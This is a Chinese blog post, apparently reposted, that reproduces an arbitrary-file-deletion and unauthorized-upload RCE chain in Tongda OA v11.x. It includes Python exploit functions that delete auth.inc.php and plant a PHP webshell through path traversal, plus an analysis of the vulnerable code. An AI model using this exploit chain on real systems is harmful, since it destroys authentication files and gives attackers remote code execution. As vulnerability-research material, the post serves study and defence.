通達OA任意文件刪除/OA未授權訪問+任意文件上傳RCE漏洞復現


0x00 簡介

通達OA采用基於WEB的企業計算,主HTTP服務器采用了世界上最先進的Apache服務器,性能穩定可靠。數據存取集中控制,避免了數據泄漏的可能。提供數據備份工具,保護系統數據安全。多級的權限控制,完善的密碼驗證與登錄驗證機制更加強了系統安全性。

今天看了好多通達OA的文章,根據護網中出現的一些0day,進行一波分析,其中感覺9hu大佬分析的很到位,然后來以此為基准,一起來看一下這個影響較深的漏洞。然后我自己感覺,出現的漏洞只是表面的一些,其中還有肯定是未公布的,包括我之前在別的版本審計到的一些漏洞,都是可以利用的,總感覺技術寫的代碼不是怎么完善,還需要繼續完善,而且肯定以后還會繼續爆洞,這是不可避免的。

0x01 漏洞描述

該漏洞是由於print.php存在任意文件刪除漏洞,通過刪除通達OA身份認證文件auth.inc.php達到繞過登錄限制, 結合任意文件上傳達到RCE的效果

0x02 影響版本

 通達OA<v11.5&v11.6版本(任意文件刪除僅影響11.6、未授權訪問影響<11.5)

0x03 漏洞環境搭建

1、下載:

https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

2、在Windows下直接雙擊安裝,OA管理員用戶名:admin  密碼為空

點擊確定訪問

OA管理員用戶名:admin  密碼為空
使用解密工具SeayDzend解密源碼

通達OA11.6及解密工具:
鏈接: https://pan.baidu.com/s/1Wh9g4Xp1nIqZ5zPRt8rARg 密碼: 77ch

0x04 漏洞復現

注意!該漏洞會刪除服務器上的文件!謹慎復現!

工具下載地址:

https://github.com/admintony/TongdaRCE

使用腳本刪除文件后再登陸會變成這樣

所以一定要提示一下:切勿亂使用網絡環境,請本地搭建復現!

安裝tongda 11.4,利用oa未授權漏洞結合任意文件上傳getshell

getshell利用鏈如下:

""" 11.6版本 getshell利用鏈 """
def getShellV11_6(target):
    print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
    input("Press enter to continue")
    print("[*]Deleting auth.inc.php....")
    url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
    requests.get(url=url,verify=False)
    print("[*]Checking if file deleted...")
    url=target+"/inc/auth.inc.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[-]Failed to deleted auth.inc.php")
        exit(-1)
    print("[+]Successfully deleted auth.inc.php!")
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

""" 低於11.5版本 getshell利用鏈 """
def getShellV11_x(target):
    cookie=getV11Session(target)
    if not cookie:
        print("[-] Failed to get Session")
        return
    headers={"Cookie":cookie+";_SERVER="}
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,headers=headers,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

0x05 漏洞分析

從網上公布的EXP可以知道會刪除掉auth.inc.php文件,該文件是通達用於做身份驗證的,需要登錄訪問的文件都會將它包含進來.包括后面需要用到的upload.php也包含了此文件,但是是通過include包含進來的區別於require若包含文件不存在include是不會導致程序終止的。

接着定位到任意文件刪除的漏洞點/module/appbuilder/assets/print.php。直直白白, 打頭6行代碼就實現了任意文件刪除。

只要GET傳值guid=../../../webroot/inc/auth.inc.php, 帶入unlink就可以刪除上面介紹的身份驗證文件, 那么大多數需要身份驗證的地方將失效。

再介紹upload.php利用之前, 先講一下通達OA祖傳變量覆蓋。這里有個坑就是, 有的解密工具會漏掉一個$, 導致掉了一鍵盤的頭發也不明白變量覆蓋在哪里… 因為該文件是common.inc.php, 可想而知大部分文件都有包含,大部分地方可以拿變量覆蓋來進行操作。

接着定位到上傳點/general/data_center/utils/upload.php,  第9行變量覆蓋action為upload盤進if,接着我們upload位置就是/data_center/attachment了。第84行變量覆蓋s_n為我們的惡意文件, 90行upload位置拼接上s_n就是我們最終文件所在的位置。這里在87行變量覆蓋repkid為../../../就能目錄穿越將我們的馬兒放在其他目錄下, 至於為什么后面會說。

參考了前輩文章, 之所以要目錄穿越到其他位置存放馬, 是因為通達OA的nginx限制了attachment目錄下文件訪問的權限, 導致我們無法正常解析我們的馬。~* 表示正則模式, 匹配到以attachment開頭的任意php等敏感文件都不允許。

0x06 修復建議

升級到最新版本。

轉載請注明:Adminxe's Blog » 通達OA任意文件刪除/OA未授權訪問+任意文件上傳RCE漏洞復現


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM